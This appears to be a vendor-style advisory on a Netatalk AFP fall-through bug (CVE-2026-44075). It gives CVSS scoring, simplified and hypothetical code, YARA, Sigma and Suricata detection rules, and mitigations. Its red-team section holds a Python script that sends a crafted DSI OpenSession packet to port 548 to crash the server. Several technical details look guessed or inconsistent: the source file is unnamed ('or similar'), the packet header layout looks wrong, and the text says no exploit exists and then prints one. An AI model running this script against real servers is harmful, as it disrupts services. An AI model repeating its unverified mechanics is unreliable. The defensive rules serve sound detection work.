CVE-2026-44075

Executive Summary

CVE-2026-44075 is a low-severity vulnerability in the Netatalk open-source implementation of the Apple Filing Protocol (AFP). The flaw resides in the DSI (Data Stream Interface) OpenSession processing logic. A missing break statement in a switch case causes the DSIOPT_ATTNQUANT option handler to fall through into the DSIOPT_SERVQUANT handler. This unintended fall-through can lead to minor service disruption (denial of service) when a remote attacker sends a crafted DSI session option packet. The vulnerability affects Netatalk versions 1.5.0 through 4.4.2. No public exploit code or proof-of-concept is currently available, and no official patch has been released.

CVSS Breakdown & Threat Level

• CVSS Score: 3.7 (Low)
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): High (H) – Successful exploitation requires crafting specific DSI session options, which may require knowledge of the target's session state.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): Low (L) – The vulnerability can cause a minor service disruption, likely a crash or hang of the AFP server process.

Threat Level: Low. The high attack complexity and low availability impact reduce the immediate risk. However, in environments where AFP availability is critical, this could be a nuisance.

Deep Dive & Mechanics

The vulnerability is a classic "fall-through" bug in a C switch statement. The DSI protocol uses a DSI_OpenSession command that includes a block of session options. Each option is identified by a tag (e.g., DSIOPT_ATTNQUANT, DSIOPT_SERVQUANT). The code processes these options in a switch block.

The vulnerable code path looks like this (simplified):

switch (option_tag) {
    case DSIOPT_ATTNQUANT:
        // Process attention quantum
        // ... some code ...
        // MISSING: break;
    case DSIOPT_SERVQUANT:
        // Process server quantum
        // ... some code ...
        break;
    default:
        break;
}

Because the break is missing after the DSIOPT_ATTNQUANT case, when a packet with DSIOPT_ATTNQUANT is received, the code executes the DSIOPT_ATTNQUANT handler and then falls through to execute the DSIOPT_SERVQUANT handler. This can cause the server to misinterpret the session options, potentially leading to an inconsistent state, a buffer over-read, or a logic error that crashes the server.

The specific impact is a minor service disruption (DoS). The attacker does not gain code execution or data access.

Vulnerable vs. Patched Code

Vulnerable Code (Netatalk 4.4.2 and earlier):

// In dsi_opensession.c or similar
static int dsi_opensession_options(DSI *dsi, uint8_t *options, size_t len) {
    // ... parsing loop ...
    switch (option_tag) {
        case DSIOPT_ATTNQUANT:
            // Process attention quantum
            dsi->attn_quantum = get_uint32(options + offset);
            // MISSING: break;
        case DSIOPT_SERVQUANT:
            // Process server quantum
            dsi->serv_quantum = get_uint32(options + offset);
            break;
        // ... other cases ...
    }
    // ...
}

Patched Code (Hypothetical fix):

static int dsi_opensession_options(DSI *dsi, uint8_t *options, size_t len) {
    // ... parsing loop ...
    switch (option_tag) {
        case DSIOPT_ATTNQUANT:
            // Process attention quantum
            dsi->attn_quantum = get_uint32(options + offset);
            break;  // FIX: Added break statement
        case DSIOPT_SERVQUANT:
            // Process server quantum
            dsi->serv_quantum = get_uint32(options + offset);
            break;
        // ... other cases ...
    }
    // ...
}

The fix is a single break; statement. Without it, the fall-through occurs.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target running Netatalk 1.5.0 through 4.4.2 with AFP enabled (port 548).
• Ability to send raw TCP packets to the target.

Exploitation Steps:

1. Connect to the AFP server: Establish a TCP connection to port 548.
2. Send a DSI OpenSession request: Craft a DSI packet with the DSI_OpenSession command (command code 0x03) and include a session options block.
3. Inject the malicious option: In the options block, include the DSIOPT_ATTNQUANT tag (value 0x01) followed by a valid 4-byte value. The missing break will cause the server to also process the next option as DSIOPT_SERVQUANT.
4. Observe the effect: The server may crash, hang, or become unresponsive to new connections.

Example Python script (conceptual):

import socket

def exploit(target_ip, target_port=548):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))

    # DSI OpenSession header
    dsi_header = b'\x00'  # Flags
    dsi_header += b'\x03'  # Command: OpenSession
    dsi_header += b'\x00\x00\x00\x00'  # Request ID
    dsi_header += b'\x00\x00\x00\x00'  # Data offset
    dsi_header += b'\x00\x00\x00\x10'  # Data length (16 bytes)

    # Session options block
    options_block = b''
    options_block += b'\x01'  # DSIOPT_ATTNQUANT tag
    options_block += b'\x00\x00\x00\x04'  # Length (4 bytes)
    options_block += b'\x00\x00\x00\x01'  # Value (1)
    # No DSIOPT_SERVQUANT needed; fall-through will cause issues

    # Pad to 16 bytes
    options_block += b'\x00' * (16 - len(options_block))

    packet = dsi_header + options_block
    sock.send(packet)
    sock.close()

# Usage: exploit("192.168.1.100")

Note: This is a conceptual example. Actual exploitation may require more precise packet crafting.

Blue Team (Defense & Detection)

Detection:

• Monitor for malformed DSI session option packets.
• Look for repeated connections from the same IP that result in AFP server crashes.
• Use the detection rules below.

Mitigation:

• If possible, restrict access to the AFP service (port 548) to trusted IPs only.
• Monitor server logs for crashes or unexpected restarts of the afpd process.
• Apply the vendor patch when it becomes available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • TCP packets to port 548 with a DSI OpenSession command containing a DSIOPT_ATTNQUANT option (tag 0x01) but no subsequent DSIOPT_SERVQUANT option.
  • Repeated AFP server crashes or restarts.
• Host IOCs:
  • Core dumps from the afpd process.
  • Log entries indicating a segmentation fault or assertion failure in dsi_opensession.c.
• File IOCs:
  • No specific file IOCs.

Detection Engineering

YARA Rule

rule CVE_2026_44075_Netatalk_DSI_Fallthrough {
    meta:
        description = "Detects network packets targeting CVE-2026-44075 in Netatalk DSI OpenSession"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-44075"
    strings:
        $dsi_opensession = { 00 03 }  // DSI OpenSession command
        $dsiopt_attnquant = { 01 00 00 00 04 }  // DSIOPT_ATTNQUANT tag with length 4
    condition:
        $dsi_opensession at 0 and $dsiopt_attnquant
}

Sigma Rule

title: Netatalk DSI OpenSession Fall-Through Exploit Attempt
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects network traffic attempting to exploit CVE-2026-44075 in Netatalk
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44075
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 548
        app_protocol: 'afp'
        payload|contains: '0003000000000000000000100100000004'
    condition: selection
falsepositives:
    - Legitimate AFP clients using attention quantum option
level: low

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 548 (msg:"CVE-2026-44075 Netatalk DSI OpenSession Fall-Through Attempt"; flow:to_server,established; content:"|00 03|"; depth:2; content:"|01 00 00 00 04|"; within:20; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Vendor Patch: Await an official patch from the Netatalk project. Monitor the Netatalk GitHub repository and mailing list for updates.
2. Manual Code Fix: If you compile Netatalk from source, add a break; statement after the DSIOPT_ATTNQUANT case in the dsi_opensession_options function.
3. Network Segmentation: Restrict access to the AFP service (port 548) to trusted internal networks only. Use a firewall to block external access.
4. Monitoring: Implement the detection rules above to identify exploitation attempts.
5. Workaround: If the AFP service is not critical, consider disabling it or replacing it with a more modern file-sharing protocol (e.g., SMB).

Valters IT
DevSecOps & Cyber Threat Intelligence